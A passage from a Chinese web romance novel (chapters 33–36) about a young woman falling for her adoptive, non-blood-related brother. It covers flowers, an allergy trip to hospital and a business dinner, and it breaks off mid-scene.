“啊。”贺文杉应了声,抬眼去看谢昱宁,“大哥好。” 谢昱宁眉梢微挑, 连应都没应, 空着的手按下电梯,拉起钟卿悦的手腕,“走了。” 门徐徐关上, 谢昱宁的脸色黑到极点,他随手把花往电梯一角扔去,落地砸得电梯震动, 花瓣落了一片。 “诶……”钟卿悦欲言又止。 谢昱宁眯起眼看向她,“他跟你表白了?” “你怎么知道…?” 谢昱宁对她的反问充耳不闻, “你怎么回答的?” “我……”她心虚, 虚到不敢直视谢昱宁, “我就是像和周沐渊说得那样,没答应他。” “抬头。”他薄唇轻启,倾身逐渐朝她靠近,直至遮住电梯的灯光,晦暗的身影笼罩在她上方。 钟卿悦闭上眼,心跳如擂鼓,他靠得太近了,鼻息间萦绕着清冽的雪松气息。她全然不知该怎么办,头不敢抬,人也无处躲。 叮—— 就在这时,电梯门开了。 她宛如马上掉落虎口的羊,找到一线生机,余光瞥向缓缓展开的电梯门,想也不想,抬步冲出电梯,一溜烟跑出去老远。 怎么办怎么办怎么办! 她要疯了! 不单独相处还好,一旦是在逼仄的空间内,就他们二人时,尤其是他靠近她时,她心跳得好快啊! 完蛋了,真玩脱了! 好像喜欢上自己哥哥了,怎么办?在线等,挺急的。 她加快步伐,心不在焉地在停车场疾走。 “钟卿悦!”身后陡然响起谢昱宁含怒的声音。 她堵住耳朵装听不到,脚下不停,继续狂奔。下一秒,手突然被擒住,谢昱宁用力将她扯回面前,居高临下盯着她,眼睛里恨不得冒出火,“去哪?” 避无可避,她只能认栽,垂着脑袋也不看他,闷声道:“回家,我要回家。” “车在哪?” 啊?她茫然抬头,“对哦,车在哪?” 谢昱宁蹙眉盯了她一瞬,拉着她往反方向走去。 手腕被他握着,挣脱不开,钟卿悦只能被动地跟在后面,透过朦胧的光线,他的侧脸坚硬冷漠,紧紧抿起的嘴唇反射出此刻不满的情绪。 她不自觉垂下眼睑,心脏砰砰直跳,还未反应过来,已经被谢昱宁塞进了副驾驶。 车子启动,狭小的车厢里冷气流动,整个空间仿佛按下静音键,空气凝固,时间仿佛在这一刻被拉长。 钟卿悦也不说话,眼睛望着窗外,只留给他一个背影。 谢昱宁偏头瞥了她几次,终于在红灯前停下车,淡淡开口,“跑什么?” “啊?”她装傻,手挠着脖颈一侧,眼睛也不去看他,像自言自语似的,“什么啊?哪里跑了?” “心虚?” 他一语中的,钟卿悦从脖子到脸噌的一下烧起火,“没有啊,你说什么呢,莫名其妙的。” 她的反应欲盖弥彰,谢昱宁面目表情直视前方,捏着方向盘的手指骨突起,血脉偾张,显露即将到临界点的愤怒情绪。 绿灯亮起,车子轰鸣一声迅速疾驰而去,惯性让钟卿悦抵住椅背,手下意识抓住车门,“哥……” 谢昱宁深吸一口气努力平复心绪,缓慢踩下刹车,他在她语气里听到了害怕,他不想吓到她。 车速降下来,平稳开上高架,车内寂然无声,钟卿悦的心从嗓子眼落回原位,她悄然侧头看了眼谢昱宁,只见他漠然开着车,情绪不明。 直至到家两人都没再说一句话。车子停在车库,钟卿悦先一步开门下车,不等谢昱宁下来,她头也不回地就往主楼跑,她现在没办法面对谢昱宁。 谢昱宁盯着她跑远的背影,手紧握成拳,指甲刺痛掌心,留下一排深红的指印。 接下来的几天,钟卿悦开启躲藏模式,看到谢昱宁就跑,无论在干嘛,只要他出现,她立刻就找理由遁走。 这天深夜,她照常下楼倒水,刚关上卧室门,一旁的书房门便打开了,谢昱宁手里拿着水杯,赫然出现在眼前。 她连忙垂下头,转身就要往卧室里钻,手还未碰到门把,一双大手已经先一步出现,锁上门锁,抽走了钥匙。 后路彻底被断,她只能愣愣地眨眨眼。 “你不倒水?”谢昱宁轻飘飘地声音从头顶传来。 钟卿悦摩挲着海绵宝宝的眼睛,“我突然不渴了。” “我帮你。” 话音落,水杯被谢昱宁轻而易举拿走,她手里空无一物。 “不用。”她伸手要去夺,他已经将两个杯子举过头顶,视若无物地往楼梯口走去。 钟卿悦怔在原地,呆呆看着他的背影。海绵宝宝和派大星一左一右在他手中,绽放着灿烂的笑容。 “这是……”她吞了口唾液,“情侣水杯吗?” 她喃喃自语的声音极小,谢昱宁隐约听到声音,却不知道她在说什么。 “你说什么?” 她大惊失色,怎么把心里话说出来了。 “没没没,没有,我什么都没说。” 谢昱宁若有所思地看了她片刻,没再多言,转身下楼。她在原地发了会儿呆,才慢慢吞吞地跟上去。 到了餐厅,两个杯子已经倒满水静静放在岛台上,谢昱宁背对门口站着,在水池边洗水果。 她放轻脚步,想偷偷拿着水杯走人。小心翼翼摸到岛台边,手刚碰到杯子,还没拿起,谢昱宁忽然转身了。 四目相对,她弓着背像小偷,他手里端着沥水篮,眯着眸子审视一切。 她尴尬背过身,连水杯都不想要了,渴就渴吧,她能忍。 抬步刚要跑,谢昱宁厉声道:“钟卿悦。” 她身子一僵,维持姿势不敢动了。 谢昱宁:“西瓜不吃?芒果?蓝莓?火龙果?” 她没出息地吞了下口水,听水果都能听馋了,“吃,你切我就吃。” 谢昱宁勾起唇角,“等着。” 她老老实实坐到餐椅上,托着腮扣着桌面,耳边响起有节奏的切水果声,一下又一下,她忍不住悄悄抬眼皮去看,谢昱宁俯身在岛台前聚精会神忙碌着,头高出吊柜一半高,脊背宽阔坚实,顺着往下是精瘦的腰腹,即使穿着宽松的真丝睡衣仍难掩极好的身材。 不是,她在想什么? 当她意识到自己在想什么时,已经为时已晚,这些念头已经在脑海里完整过了一遍。 谢昱宁端着白瓷盘走出来,视线交汇,她目光下意识去看他露出的小臂,肌肉线条流畅,紧实有力。 她还在分析之时,谢昱宁把盘子放在她面前,顺势坐到她一侧的空位上,“吃吧。” 她被唤回思绪,连忙收回视线,目光紧紧盯着盘子里五颜六色的水果。 她拿起叉子,将一小块西瓜送入口中,清甜脆爽,汁水满溢口腔,又香又甜。 谢昱宁撑着下巴偏头看她,“怎么没睡?在玩游戏?” “嗯。”她含糊着应了一声,又塞嘴里一块火龙果。 “我帮你通关?” “不用,不用。”她头摇得像拨浪鼓,“我能打过。” 说着,她将口中的水果咽下,端着盘子和水杯站起身,也不敢去看谢昱宁,就默默垂着头,“我回房间了。” “钟卿悦。”谢昱宁站起身,“为什么躲着我?” “我没有。” 谢昱宁眯起眸子,反问道:“没有?” “没有,真的没有。”她强迫自己去抬头看他,可对上他眼睛的那一瞬间,她心脏猛地收紧。 谢昱宁找不到她突然变成这样的理由,翻来覆去想,只能是和贺文杉有关。提到这个名字,他眼神更加冷冽,“你喜欢他?” 喜欢…… 他…… 这几个字眼再次戳中钟卿悦的弱点,她反应比谁都大,“我谁都不喜欢,你不要瞎说。” “你是不是答应了他的表白?”他欺身靠近,炙热的呼吸喷薄而出,混着浓烈的嫉妒。 钟卿悦这才意识到他说得是谁,茫然摇摇头,“我没有,我们只是朋友。” “花?” “花他要送给我,我不好意思拒绝了。”钟卿悦老实回答完,推了推他肩膀,“你远点。” 刚转晴的心情因为她这句话再次蒙上乌云。 谢昱宁纹丝不动,仍旧倾身看着她,脸色差到极点。 见他无动于衷,钟卿悦后退一步,嘟囔了一句,“没事了吧,没事我回去睡觉了。” 不等他抓住她,她像个泥鳅似的灵活逃走。 — 翌日,临近中午,钟卿悦房间的座机电话忽然响起,是庄园门口保安室打来的。 接起后,保安礼貌道:“小姐,有家花店来给您送花,让他们进吗?” “送花?”钟卿悦以为自己听错了,“送我的?” 保安连应两声,“是,说送给钟卿悦小姐,用商务车拉着,后备箱跟后排全都是,我们检查过了。” 钟卿悦瞪起眼睛,脑子里已经闪过贺文杉的脸,不应该啊,他怎么不罢休呢? “喂,小姐?在听吗?”保安催问道。 “在。”她连忙应声,“退回去吧,让他们告诉客户,我不收。” 保安应下,挂断电话。 钟卿悦思来想去,想到的只能是贺文杉,?*? 但她感觉拒绝的已经很明确了,他应该不会再生想法才对。 想了许久也没找到答案,此时手机却震了一下,收到一条新消息。 她以为是贺文杉找了她来,毕竟她拒收了,然而打开微信却是谢昱宁,[下楼。] 她穿上拖鞋,怀着疑惑依言下楼,却被看到的景象惊呆了。 谢昱宁站在客厅里,周遭摆满了花,玫瑰、芍药、郁金香、向日葵,全是99朵的大花束。 他双手插兜站在中间,挑眉看她,“花。” 不是,谁的花?哪来的花? 钟卿悦:“我不是拒收了吗?怎么又送进来了?” 谢昱宁淡淡看着她,不语。 她似乎已经猜到了什么,但她不敢确定。 怀着满肚子的疑问走下楼梯,小心翼翼拿起其中一束花里的贺卡,打开,里面只写了三个字——钟卿悦,但那字体苍劲有力,她可太熟悉了。 她不敢置信地抬起头,“哥,都是你送的?!” 【📢作者有话说】 妹宝:有点猎奇了,喜欢上哥哥了,怎么办?在线等,挺急的[可怜][可怜] 34 第 34 章 ◎过敏◎ 钟卿悦拆开所有花里的贺卡, 写得都是她的名字,均出自谢昱宁的手笔。一切变得有逻辑起来,这就是为何她明明拒收, 花还能送进来。 钟卿悦不解地看向他, “为什么要送我花?” 谢昱宁:“那天的花被我扔了。” 所以这是赔给她的吗? 她沉默地环视一眼, 并没有看到相同的红玫瑰, 反而有一大捧香槟色的玫瑰花。 第一次感受到原来花店那么幸福, 这么多花摆在面前还是很赏心悦目的。 她蹲下身靠近白色芍药,清淡的香气扑鼻而来,没有玫瑰花那么浓郁,芍药是轻柔淡雅的气味,细闻还带着荔枝的甜味。 她若有所思地用手戳了下泛着珠光的花瓣,这好像是第一次收到哥哥送的花…? 她抿着唇勾起嘴角, 真好看。 谢昱宁不知何时蹲到了她身边,手学着她的样子戳了下花瓣,挑眉问道:“高兴了?” 她微愣, 唇边的笑意僵住, 她表现的这么明显吗? 谢昱宁:“躲着我是因为生气?” 她猛然抬头看向他,“我没生气。” 顿了一瞬,又说道:“我也没躲着你!” 谢昱宁质疑地蹙起眉头, “还没有?” “没有。”她低下头心虚地嘟囔了一句。 这件事太复杂了,她自己也说不清。 话音落,门口忽然响起开门声, 钟爸和钟妈一前一后进门,钟卿悦抬头就能看到钟妈一半身影。 她慌张去抱花, 低声对谢昱宁说道:“快收起来, 快。” 谢昱宁沉下眸子, 一把握住她的手腕,“为什么收起来?” “被妈妈看到怎么解释呀!” “为什么解释?”谢昱宁反问道。 钟卿悦被他拉着,一时语塞,竟然也想不通为什么要收起来,明明没做什么的,但那一刻她潜意识是这样想的——不能让钟妈看到。 钟妈拐到客厅就看到这一幕,兄妹俩僵持在原地,身边围了一圈花。她头皮发麻,一股不祥的预感油然而生。 “你们在干什么?”钟妈声音带着轻微的颤抖。 谢昱宁松开钟卿悦的手腕,起身坦然面对钟妈,“妈,我们在收花。” 钟爸:“怎么这么多花啊?谁送的?” 不知什么原因,钟卿悦不想让钟爸钟妈知道是谢昱宁送给她的,她脑子里闪过无数个理由,却都没办法说出口。 还没思考出所以然,谢昱宁已经先一步开口,“我送给悦儿的,那天我不小心弄坏她的花,这是赔给她的。” “哦,这么回事啊。”钟爸大咧咧地应了声。 钟妈心里已经是一团乱麻,上次她安排钟爸去试探谢昱宁,谢昱宁给的回复是暂时不想成家,当时她心里就在犯嘀咕。她希望是自己太过敏感,想得太复杂,可一桩桩一件件似乎都在暗示着两人的关系过从亲密。 如果两人是亲兄妹,钟妈不会多想,可…… 她的目光落在谢昱宁脸上,他也坦然地回视。 片刻,钟妈垂下眼睑,看向如同花圃的客厅,“挺好看。” 钟卿悦松了一口气,或许是她对谢昱宁不单纯了,所以才会心虚的想要隐藏起来。但其他人并没有什么特殊的想法,所以都是坦然面对这件事。 她甩掉杂乱的思绪,尽量装作无事的样子,扬起笑容,“对啊,好看吧。” 钟爸背着手打量一圈,“是不错,一会儿送我们一束,我摆卧室欣赏一下。” 钟卿悦点头应下。 钟妈没再呆下去,转身去了楼上,钟爸拉着谢昱宁闲聊起来。钟卿悦心里乱的厉害,不想听他们说话,自顾自抱着芍药花回房间了。 她把花束包装拆开,把芍药花插进花瓶中,一边数一边插,一共有一百朵,足足插满8个花瓶。她把大花瓶摆到了茶几、柜子等地,两个小花瓶则摆到了床头柜上。 盯着开得正好的芍药花出神,静下心来想,她已经默认了自己的感情,确实是喜欢上了谢昱宁。心里很清楚这不对,但每每看到他心跳总会变得很快。 思来想去,她必须杜绝这件事,虽然和谢昱宁没有任何血缘关系,名义上却是兄妹,她这样的感情会破坏这个家庭,她不能让好不容易有了家的谢昱宁再失去家。 下定决心,她在心里默默警告自己,不要想不该想的,一心一意把他当成哥哥。正视兄妹感情,哥哥就是哥哥。 清脆的铃声拉回她的思绪,她拿起床上的手机查看,是叶承扬发来的信息,[晚上有空吗?我请你吃饭。] 刚读完,他又发来一条,[上次邀请你参加酒会,出现意外情况,还没跟你当面道歉。] [钟卿悦:没关系,这也不是人为控制的。] [叶承扬:那你方便吗?] 钟卿悦思忖片刻,也想找点事情转移注意力,在家看到谢昱宁心就上蹿下跳的。 [钟卿悦:方便。] [叶承扬:好的,我下午有事情,可能晚一点,六点去接你可以吗?] 她回了个OK的表情。 — 叶承扬非常准时,出现在钟家庄园门口时差两分钟六点。钟卿悦收到他的消息,下楼准备出门。 钟妈似乎早有预料,她下楼时正巧遇到在客厅的钟妈,她看着钟妈,说了句,“我出门了,妈妈。” 钟妈望向她,淡笑一下,没有多话,只是应了声。 这是不符合钟妈往常状态的,所以钟卿悦断定钟妈是知道她要和叶承扬出门,所以一句话都不多说,也不多问。 她懒得和钟妈斗智斗勇了,随便吧,摆烂了,本来就烦,想多了更烦。 走到庄园门口,叶承扬已经等在车旁,看到她后,为她打开车门。 “去吃日料怎么样?”叶承扬笑着问道。 钟卿悦:“我都行,不挑食。” 两人坐在后排,司机启动车子,往餐厅方向开去。 叶承扬偏头和她闲聊,“你什么时候开学?” “9月初。” “那还很长时间呢。我过两天就得去故城了,那边分公司还有事情需要处理。” 钟卿悦点点头。 叶承扬无奈耸肩,“两地跑很麻烦,一有急事就要匆匆赶去。” 两地跑…… 钟卿悦垂着眸子听着,脑子里不自觉想起谢昱宁,他一直也是两地跑,不过多数时候她在哪他就在哪,她开学之后他就长期在故城。她放假回来,他又一直呆在江城,似乎时间更加自由一些? “那你一般在故城呆多久?”她好奇问道。 “忙的时候半个月一个月,不忙就去三五天就回来。毕竟总公司在这边,只要分公司没有项目就很少过去。” “哦。”她若有所思地点点头,对比起来谢昱宁是自由多了。 想着,她突然觉得鼻子一痒,忍不住地打了个喷嚏。 叶承扬:“冷吗?” 他忙对司机道:“邢叔,把空调调高一点吧。” 她摆了摆手,揉着鼻子,眼睛有些红,“没事,就突然鼻子痒了一下。” 叶承扬点点头,“还是调高一点吧,内外温差大容易感冒。” 话音刚落,她又捂着口鼻打了个喷嚏。 叶承扬担心地看着她,“还好吗?” 她鼻涕眼泪往外流,眼眶一瞬间更加红了,一双眼像兔子似的。 叶承扬忙给她递上纸巾,“你难受吗?你眼睛很红。” 钟卿悦用纸巾擦着,闷声回道:“眼睛跟鼻子突然很痒。” “过敏吗?你对什么过敏?” 她皱起眉头,手不断揉搓着眼睛缓解痒意,“我只对宠物毛发过敏,其他都没事。我家没有宠物,不应该会突然过敏。” 闻言,叶承扬突然脸色一变,“猫毛过敏吗?” 钟卿悦点了点头。 “邢叔,前面靠边停车。”叶承扬吩咐完,立刻打开车窗,人往窗户边靠去,“是我的问题。公司救助了很多流浪猫,一直养在公司里,下午有一只猫跑出去了,我去抓回来时抱了一下,可能身上沾上了毛。” 说着,邢叔已经停下车,他立刻推门下车,离钟卿悦八丈远,站在马路上冲邢叔喊道:“您送她去最近的医院,我打车过去,一定照顾好她。” 邢叔点头应下。 车子启动,邢叔把所有窗户全都落了下来,但钟卿悦没有任何缓解,她对宠物毛发过敏非常严重。此时鼻子眼睛通红,脖子也开始起红疹子,没到医院,四肢也蔓延起来。 除此之外,还在疯狂打喷嚏,她抽了无数张纸捂着口鼻,不起任何作用。 邢叔从未见过这种阵仗,从后视镜看她,心里不觉紧张起来,“小姐,您要不联系一下家里人吧。” 他怕出事,他担不起这个责任。 钟卿悦闷声应下,掏出手机打算打电话。翻出通讯簿,犹豫一瞬,拨通了谢昱宁的电话。 响了几秒钟,很快被接听,听筒里传出他低沉的嗓音,“怎么了?” “哥,我过敏了。”她声音又沉又闷。 谢昱宁眸色微黯,“你在哪?” “我在去医院的路上。”说着,又是一个响亮的喷嚏。 谢昱宁立即起身,拿着外套就往门口走,还在汇报工作的员工纷纷愣住,大眼瞪小眼看着。 钟卿悦吸吸鼻子,问邢叔,“我们去哪家医院?” 邢叔忙道:“省医东院区。” 她对着电话重复一遍,谢昱宁蹙起眉,陌生的声音,但他不想细问,比起这些,他更担心她的情况。 他收敛神色,“我马上过去。” 到了医院,邢叔急忙拉着她往急诊跑。 先是抽了血,医生立刻给她服用了抗组胺药物,用生理盐水给她冲洗了鼻腔。 谢昱宁来得比叶承扬要快,他到急诊门口时,钟卿悦的情况已经好转,不再打喷嚏,但身上的红疹还未消。 她坐在急诊室的椅子上,仰头看着他,通红的眼睛眨巴眨巴,神情委屈巴巴的,“哥。” 他蹙眉,手揉了一把她的脑袋,眼睛则瞥向她身旁垂首站着的邢叔。 邢叔人精,立刻解释道:“您好,我是叶家的司机,是我送钟小姐来医院的。” 他微微颔首,“谢谢。” 邢叔忙道:“不用,您客气了。” 他没再接话,俯身蹲在钟卿悦面前,“我带你去看医生。” 她摇了摇头,声音闷闷的,“没事,我已经抽过血吃过药了,一会儿就好了。” 谢昱宁不放心,“再去看一下,我约了皮肤科主任。” 她乖巧地点了点头。 谢昱宁拉起她,对着邢叔说道:“麻烦了,您回去吧。” 邢叔进退两难,应也不是,不应也不是,毕竟他家少爷还没来。他刚要开口,叶承扬气喘吁吁出现在急诊室。 35 第 35 章 ◎这女孩到底是谁?◎ 皮肤科主任下了班又被紧急叫回, 两拨人在办公室门口遇到。正好钟卿悦血常规报告也拿到,医生看了各个指标没有大碍,只是嘱咐一定要避免过敏原。 从医院出来时, 叶承扬还等在门口, 他见到钟卿悦, 往后退了两步拉开距离, “怎样?医生怎么说?” 钟卿悦戴着口罩, 脖子和手臂的疹子消下去不少,依稀只能看到大片红痕。她摇摇头,回道:“我没事,吃过药就没关系了,不过没办法跟你去吃晚餐了。” “没关系。”叶承扬满是歉意地看着她,“对不起, 这件事怪我,我不知道你过敏。” “跟你没关系,我也没告诉过你, 你不用自责。” 见钟卿悦说完, 谢昱宁拉起了她的手,“走了,回家。” 她应下, 刚要开口和叶承扬道别,谢昱宁便打断了她的话,先一步跟叶承扬说道:“叶少爷稍等, 有件事想跟你谈,我先送悦儿去车上。” 叶承扬微怔, 了然地点点头, 指了指不远处的花坛, “我在那边等你。” 钟卿悦被他拉着走向车子的方向,她心里犯嘀咕,不知道他要跟叶承扬说什么,试探开口,“哥,不怪阿扬的,他不知道我对宠物毛发过敏。” 谢昱宁脚步一顿,后槽牙紧紧咬起,半晌才冷声开口,“为什么要见他?” 他背对着她,钟卿悦看不到他的神色,但能从语气里听出飙到顶点的气愤,她撇撇嘴,嘟囔道:“就一块吃个饭啊。” 谢昱宁冷嗤一声,步伐加快,仗着腿长优势一步三格花砖。 钟卿悦只能小跑跟着,没一会儿便上气不接下气,“我是病人!” 闻言,他脸色微变,一声不响的放慢步伐。 从门口到车旁也就300多米,两人一言不发的闷头赶路。到了车边,他拉开车门将她塞进副驾驶,确认她坐好后,后撤一步就要关门离开。 钟卿悦连忙拉住车门,“哥,你要跟他说什么啊?” “你担心他?” 谢昱宁握着门框的指尖收紧,扣着玻璃缝隙,甲床因用力而泛起白色,他眯起眼睛,冷眸盯着她。 “我没有啊。”钟卿悦眨巴眨巴眼睛,这是什么逻辑。她只是好奇,加上他似乎心情很不好,不知道原因是什么,她怕两个人会吵起来。 “他符合你理想型男友的标准吗?没什么能力,空有一身名头,看似掌管着分公司,实际手里没有任何权力,接下的项目还接连烂尾。” 他越说眼神越寒凉,落在钟卿悦身上好似要结了霜。 被劈头盖脸地说了一通,她心里也不满,加之这段时间本来就烦闷,烦的事情还跟他有关系,她更是气不打一处来,“我没说他符合啊,我又不喜欢他,是妈妈非要把他介绍给我认识,一而再再而三的撮合。我也只是觉得他人不错,才跟他当朋友的。他怎么样跟我没关系,交朋友还看能力吗?” “那你喜欢谁? 她说了那么多,他只捕捉到重要的点。 钟卿悦整个人愣住了,眼睛一眨不眨地瞪着,完全没想过谢昱宁会问出这个问题。关于感情类的话题两个人只谈过一次,也只是简单说了下理想型而已。 可眼下,他居然清晰明了地问出她喜欢谁。 换作之前,她能大大方方坦然地告诉他,她不喜欢任何人,只喜欢自己。现在……她做不到了,她开不了口,尤其对着喜欢的人。 “你去聊吧,叶承扬在等你。” 在这件事上,她是缩头乌龟,是鸵鸟。 她握着车门往回拉,试图隔开距离,逼他离开。可他不打算就此作罢,力气极大地捏着门框,目光沉黯,“你有喜欢的人,是吗?” 她自知无法跟他比力量,索性放弃争夺车门使用权,偏头躲开他的目光,气急回道:“跟你没关系,你快去忙好不好。” 她的反应已经给出了答案,谢昱宁了解她。 他松开车门,语气极淡,“关门吧。” 话音落,砰的一声,门被她重重关上。 隔着黑乎乎的玻璃,谢昱宁只能看到反光的自己,眸中一闪而过的情绪被他垂眸掩掉。 钟卿悦沉寂片刻转过头,目光落到窗外,谢昱宁已经走远,背影隐入渐暗的天光下。 — 叶承扬看到谢昱宁走过来,收起唇边浅淡的笑意,轻飘飘问道:“谢先生有何指教?” 谢昱宁:“离她远点。” 叶承扬愣了一下,继而很快明白过来,“你说卿悦?我们只是朋友。” 谢昱宁挑眉审视着他,“你打着什么旗号接近她,我清楚。但你趁早放弃那些想法。” “什么想法?”叶承扬勾起唇角,“婚姻对于我们这些人来说不过是任务,和谁完成任务都是一样的结果。” “她不需要完成任务。” 叶承扬:“你这么想不代表她的父母也这么想,你能左右的了结果吗?我和她认识就是两个家庭撮合下的产物。” 谢昱宁冷嗤一声,“你倒很会欲盖弥彰,不如大方的承认是你们叶家主动接近。” 叶承扬淡淡扬起笑容,镜片后的双眸却寒凉如水,“现在都是这样,各取所需。” 谢昱宁:“据我了解,叶家只是表面风光,实际内忧外患,自身难保吧。” 叶承扬微愣,继而随意道:“生意场上不都是如此,谢先生的公司也一直走上坡路吗?” “短暂的困境是会出现,但能不能打破困境?”谢昱宁含笑看着他,稍稍顿了一下,“可都在人为。” 沉默的对视几秒,叶承扬顶了下腮,“我先走了,有时间再和谢先生好好聊。” 谢昱宁回到车上时,钟卿悦正对着窗外发呆,闻声,她淡淡地看了他一眼,没有说话。 谢昱宁沉默地启动车子,很快驶离医院。 两人默契的只字不提,仿佛不说就能当作什么都没发生过,但有些东西已经在心底生根发芽,蓬勃生长。 之后的日子又趋于平静,钟卿悦每日悠闲,偶尔出门逛街吃饭,和谢昱宁的关系也降至冰点,她不主动与他搭话,他也默契的沉默不言。 但钟卿悦有点讨厌这份默契,因为她每天晚上都会在厨房遇到他,即使她改变下楼倒水的时间,还是能好巧不巧的遇到他。 直到一周后,又是深夜,她下楼看到厨房亮着熟悉的灯光,他站在岛台前安静往杯子里倒水。 她习惯性走到不远处,将水杯放在一侧,等待他倒完水她再拿起水壶。 然而今晚不同寻常,他倒满自己的杯子并未放下水壶,而是倒了个手,空出右手拿过了她的杯子。 钟卿悦微愣,张了张嘴想说自己来就可以,但话到嘴边又咽了回去。 两个水杯挨在一起,她心绪总是乱得出奇,她撇开头不去看,等待水流声停止。 然而下一秒,他的声音骤然响起,在寂静的夜里格外清晰。 “明晚陪我去参加聚会可以吗?” 她愣了一下,诧异地看向他,刚想开口问为什么,他就已经开口解答了,“有几位合作商,会带家属去。” 她了然,虽然心有芥蒂,但还是想要帮他忙。思忖片刻,她低声回道:“好。” 他微微点头,将杯子又推回她面前,“去睡吧,晚安。” “晚安。”她匆匆回了句,端起杯子仓促离开。 背影很快消失在视线内,谢昱宁无奈地揉揉眉间,只要能缓解关系就好。 翌日晚上,谢昱宁下班后回家接她,他没有自己开车,而是用了司机。 两人并肩坐在后排,谢昱宁偏头跟她介绍道:“今晚一共两位合作商,一位徐总,一位裴总,已经签了合同,是为了庆祝达成合作一起吃饭。” 钟卿悦认真听着,问道:“还有什么需要注意的吗?” 谢昱宁:“没有,你吃饱就好。” 她默默地点了点头。 到了私人会所,停下车,坐专属电梯直达顶层。在侍从引领下走进包间,房间里已有一对中年夫妻落座。 中年男人虎背熊腰,个子很高也很壮,一脸横肉,看上去十分不好相与的样子,但见到两人来后,表情急转直上,立刻带上笑容,“谢总,来来来,快坐。” 谢昱宁礼貌和他握手,“徐总。” 徐总爽朗一笑,目光不动声色地落到钟卿悦身上,表面无恙,实则已经惊掉下巴了,没人告诉他谢昱宁会带女伴来啊! 两人刚落座,门再次推开,来得是一对与谢昱宁年纪相仿的夫妻,他见到谢昱宁显然没有那么恭维,大咧咧地扬扬下巴和众人打招呼,“来晚了,堵车太厉害了。” 徐总附和道:“就是啊,这时候衡原高架堵得走不动。” 钟卿悦安静坐在一旁默默观察着,徐总在这个圈子中地位相对较低,对谢昱宁和这位年轻的裴总都很恭敬。 他的太太很年轻,穿着得体大方,一直笑着听他们说话,看不出性子如何。 这位裴总,他跟谢昱宁很熟的样子,性格应该很活泼,话也多,是聚会中带动氛围的那类人。他的太太似乎与之相反,从进门起都没什么表情,神色一直淡淡的。 她观察着众人,实则众人也在观察她。 这样的场合很多,带家属的聚会也很多,往常谢昱宁一直是独来独往,没想到今天会突然带女伴出席。 之前圈子里一直在传一张照片,传的沸沸扬扬,但凡认识谢昱宁的都见过,所有人都好奇他是不是恋爱了,但他从来没回应过,任谁问都是接到一记白眼。而今天带来的这个女孩,是不是就是照片里那位呢? 徐总和裴总相视一眼,都在猜测钟卿悦的真实身份。 这时,徐总先开口,礼貌介绍道:“这是我太太,肖雅。” 裴总笑道:“嫂子我们都见七八回了。” 肖雅:“是啊是啊,那不是谢总女伴还不熟嘛。” 话题立刻落到了钟卿悦身上,她平静笑了笑,谢昱宁先她一步开口,“这是我妹妹,钟卿悦。” 钟卿悦礼貌颔首打招呼,“大家好。” “妹妹好,妹妹好。”裴总话接得很快,“我叫裴渊,这是我女朋友奚菁。” 钟卿悦笑着应下,挨个喊了一声。 说话间,侍从推着餐车来上菜,色香味俱全的美食依次上桌,徐总便招呼着众人开吃。 谢昱宁拿起筷子,第一筷子便夹起沙茶琉璃虾放到了钟卿悦碗中。 钟卿悦看他一眼,他太了解她的口味了,总能在众多菜中一眼找到她的喜好。 她默默夹起来尝了尝,味道很好,偏甜辣口感,还带着浓郁的椰香,虾肉紧实Q弹,鲜美多汁。 众人看着这一切,面面相觑,有些惊讶于平日淡漠的谢昱宁会如此细心。 一边用餐一边闲聊,他们的话题始终围绕着工作,肖雅和奚菁不讲话,钟卿悦也只是闷头吃饭。 这家会所的味道很好,她把桌上的所有菜品都尝了尝,没有一道踩雷。 谢昱宁从她夹菜频率中判断出了她的喜好,不着痕迹给她夹了许多爱吃的。 片刻后,侍从端上了会所今日的限定餐品——15年陈花雕醉蟹。 钟卿悦看了一眼,遂放弃,螃蟹没有拆解,吃起来太麻烦,她转头夹了一旁的青菜入口。 此时,徐总正在问谢昱宁三代的研发事宜,谢昱宁一边认真回答着,一边夹了一只醉蟹,熟练地用工具将蟹肉拆解出来。 当众人都以为他要吃下肚的时候,他默默地将盛满蟹肉的碗放到了钟卿悦面前。 钟卿悦猜到他会这么做,因为平日在家吃饭他也是这样,只是没想到聚会时他还会那么做。 她有些不好意思,低下头夹起蟹肉放进口中,花雕酒浸润了蟹肉,有明显的甘甜酒香,混杂着蟹的鲜美,风味醇厚。 一顿饭她没说几句话,吃得倒是很饱。 酒过三巡菜过五味,徐总唠得兴起,絮絮叨叨说着闲话。 钟卿悦吃过饭就犯困,听着这些话更像是催眠曲,恨不得闭上眼睡一会。 她掩着口鼻打个哈欠,靠近谢昱宁,低声道:“我去下洗手间。” “我陪你?” 她忙按住他手臂,“不用,我自己去。” 谢昱宁不放心地看着她,“可以?” “可以。”她微微点头,“我就是去洗个手,顺便消消食。” 谢昱宁没再多言,“出门左拐是洗手间。” 她应了声,起身离席。 门关上,房间里的裴渊忍不住了,眼睛睁得老大,好奇地盯着谢昱宁,“我说,宁哥,这女孩到底是谁?” 谢昱宁淡淡瞥他一眼,手中动作未停,将碗中麻辣牛肉的花椒挑了出来,语气轻描淡写,“我妹妹。” 裴渊翻个白眼,无语,换个问题,“这是不是照片里那个女孩?” 谢昱宁挑眉,“嗯。” “行,得到这个答案我就明白了,钟家的女儿吧?” “嗯。” 裴渊摇摇头,咂咂嘴,“嘴上的妹妹,心里的……” 他没说下去,主要是说一半儿就都懂了,更重要的是他怕谢昱宁揍他。 【📢作者有话说】 [爆哭][爆哭][爆哭]晚了晚了真的晚了,对不起宝宝们,今天三次事儿有点多。 36 第 36 章 ◎谢昱宁!◎ 钟卿悦从洗手间出来时, 谢昱宁正站在门口的拐角处等她,“回家吧。” 钟卿悦手上还有水渍,架着手臂晾着, “这么快结束了?” 谢昱宁:“嗯, 你吃饱了吗?我带你去夜市?” 钟卿悦脑袋摇得像拨浪鼓, “我已经吃撑了, 这里的菜都很好吃。” 不过……他吃饱了吗?感觉刚才他全程都在给她夹菜, 处理海鲜,根本没怎么吃的样子。 她思索片刻也没问出口,又把话憋了回去。 两人一边并肩往电梯口走,钟卿悦一边散下刚才去洗手间刻意挽起的长发。 头发跟头发打得结很松,扯开几绺发丝就自动散了下来。她指尖随意整理着,从刘海到脖颈后, 一下一下地顺着,可不知碰到了哪一缕,轻轻一扯就带的头皮一疼。 她倒吸一口冷气, 下意识放慢步子, 手摩挲着顺着疼痛点摸去。 谢昱宁察觉她的异样,“怎么了?” “头发好像打结了。”她蹙起眉,摸了半天也没摸到问题所在, 再扯一下试试才察觉好像是勾到了礼服上的装饰物。 谢昱宁俯下身帮着她查看,很快发现异样,“我帮你弄。” 她应了声, 把多余的发丝拢到前面,摩挲着扯了几缕给他看, “就是这里, 